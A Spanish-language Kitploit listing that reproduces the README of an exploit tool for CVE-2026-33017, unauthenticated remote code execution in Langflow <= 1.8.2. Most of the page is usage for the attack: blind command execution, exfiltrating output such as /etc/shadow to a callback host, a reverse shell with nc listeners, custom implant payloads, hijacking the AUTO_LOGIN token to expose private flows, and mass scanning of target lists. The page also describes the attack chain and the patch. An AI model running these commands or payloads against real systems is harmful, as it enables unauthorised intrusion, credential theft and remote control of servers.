Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2026-33017-Exploit — Exploit para CVE-2026-33017 — RCE no autenticado en Langflow <= 1.8.2 mediante exec() en el endpoint de construcción de flujos | Kitploit
Herramientas/GitHubGitHub/oscar-mine/cve-2026-33017-exploit
ReconocimientoEscáneres de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebPruebas de PenetraciónHerramienta de Acceso Remoto
GitHuboscar-mine/cve-2026-33017-exploit

CVE-2026-33017-Exploit

Exploit para CVE-2026-33017 — RCE no autenticado en Langflow <= 1.8.2 mediante exec() en el endpoint de construcción de flujos

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Ver Repositorio
hace 4 mesesAún no revisado
Compartir

CVE-2026-33017 - Langflow RCE sin autenticación

root@kitploit:~
        _____
       /     \
      | () () |
       \  ^  /
        |||||

exec() sin autenticación, sin sandbox, sin esperanza.

Langflow <= 1.8.2 permite ejecución remota de código sin autenticación a través del endpoint POST /api/v1/build_public_tmp/{flow_id}/flow. Los datos de flujo proporcionados por el atacante que contienen Python arbitrario en las definiciones de nodos se pasan directamente a exec() sin ningún tipo de sandbox.

  • CVSS: 9.8 Crítico
  • CWE: CWE-94 (Inyección de código), CWE-306 (Autenticación faltante)
  • Afectados: Langflow <= 1.8.2 (incluyendo 1.9.0-dev0 hasta dev11)
  • Corregido: Langflow 1.9.0
  • CISA KEV: Añadido 2026-03-25
  • Explotado activamente: En menos de 20 horas desde su divulgación

Cadena de ataque

root@kitploit:~
POST /api/v1/build_public_tmp/{flow_id}/flow
  -> chat.py -> start_flow_build() -> build_graph_from_data()
  -> Graph.from_payload() -> loading.py -> eval.py create_class()
  -> validate.py prepare_global_scope() -> exec(compiled_code)
  -> el código arbitrario se ejecuta como el proceso del servidor. fin del juego.

Instalación

root@kitploit:~
git clone https://github.com/oscarmine/CVE-2026-33017.git
cd CVE-2026-33017
pip install requests

Uso

Reconocimiento - comprobar si el objetivo es vulnerable

root@kitploit:~
python3 exploit.py --url http://target:7860 --check

Ejecución de comandos a ciegas

root@kitploit:~
python3 exploit.py --url http://target:7860 --cmd "id"

Exfiltrar la salida mediante callback GET (base64 en la ruta URL)

root@kitploit:~
# Terminal 1: iniciar el listener
python3 -m http.server 8080

# Terminal 2: lanzar el exploit
python3 exploit.py --url http://target:7860 --cmd "id" \
  --callback-get http://your-ip:8080

# Decodifica el base64 de los logs de tu listener:
echo "dWlkPTEwMDAo..." | base64 -d

Exfiltrar la salida mediante callback POST (salida cruda en el cuerpo)

root@kitploit:~
# Terminal 1: iniciar el listener
nc -l 8080

# Terminal 2: lanzar el exploit
python3 exploit.py --url http://target:7860 --cmd "cat /etc/shadow" \
  --callback-post http://your-ip:8080

# La salida cruda llega directamente en el cuerpo del POST - sin necesidad de decodificar

Reverse shell

root@kitploit:~
# Terminal 1: iniciar el listener
nc -l 4444

# Terminal 2: lanzar el exploit
python3 exploit.py --url http://target:7860 --revshell your-ip 4444

Payload Python personalizado

root@kitploit:~
python3 exploit.py --url http://target:7860 --payload-file implant.py

Reglas del archivo de payload:

  • El código se ejecuta a nivel de módulo mediante exec() dentro de prepare_global_scope()
  • Debe usar asignaciones (p. ej. _x = os.popen(...).read()) porque el filtro AST solo ejecuta nodos Assign, FunctionDef, ClassDef
  • Las llamadas bloqueantes deben usar threading.Thread(daemon=True) para evitar matar el bucle de eventos asíncrono

Promoción automática de flujos privados

Cuando no existen flujos PÚBLICOS pero AUTO_LOGIN está habilitado (por defecto en muchos despliegues):

root@kitploit:~
python3 exploit.py --url http://target:7860 --auto-promote --cmd "id"

Esto secuestra el token AUTO_LOGIN, aplica PATCH al primer flujo para hacerlo PÚBLICO y luego lo explota.

Escaneo masivo

Escanea múltiples objetivos desde un archivo (solo comprobación de vulnerabilidad):

root@kitploit:~
python3 exploit.py --scan-file targets.txt
python3 exploit.py --scan-file targets.txt --threads 20 --scan-output results.txt

Formato de targets.txt:

root@kitploit:~
http://10.10.10.5:7860
http://10.10.10.6:7860
192.168.1.100:7860
# los comentarios se ignoran

La salida muestra:

  • Detección de versión (vulnerable / parcheado)
  • Estado de AUTO_LOGIN (token gratuito = escalada fácil)
  • Número de flujos públicos (listos para explotar inmediatamente)

Proxy a través de Burp

root@kitploit:~
python3 exploit.py --url http://target:7860 --cmd "id" \
  --proxy http://127.0.0.1:8080

Cómo funciona

  1. Comprobación de versión - sondea /api/v1/version para identificar el objetivo
  2. Descubrimiento de flujos - usa AUTO_LOGIN (si está habilitado) para enumerar flujos y encontrar los PÚBLICOS
  3. Inyección del payload - crea un grafo de flujo mínimo con un nodo CustomComponent que contiene Python malicioso en el campo code
  4. Ejecución de código - envía un POST a /api/v1/build_public_tmp/{flow_id}/flow con el parámetro data manipulado. Langflow compila el grafo, que llama a create_class() -> prepare_global_scope() -> exec() sobre el código del atacante

La corrección en v1.9.0 elimina el parámetro data por completo, forzando al endpoint a usar únicamente los datos de flujo almacenados en la base de datos.

Análisis del parche

Referencias

  • NVD - CVE-2026-33017
  • Investigación de JFrog - análisis de bypass del parche
  • Sysdig - explotación en 20 horas
  • CISA KEV
  • Commit de la corrección
  • Aviso de GitHub: GHSA-rvqx-wpfh-mfx7

Aviso legal

Esta herramienta es solo para investigación de seguridad autorizada. Úsala únicamente contra sistemas para los que tengas permiso explícito de prueba. El autor no es responsable del mal uso.

Descargar herramienta
VersiónEstado
<= 1.8.1Vulnerable
1.8.2Corrección reclamada en el changelog pero el código nunca se modificó (confirmado por JFrog)
1.9.0-dev0 a dev11Sigue siendo vulnerable
1.9.0Realmente corregido - el parámetro data se eliminó del endpoint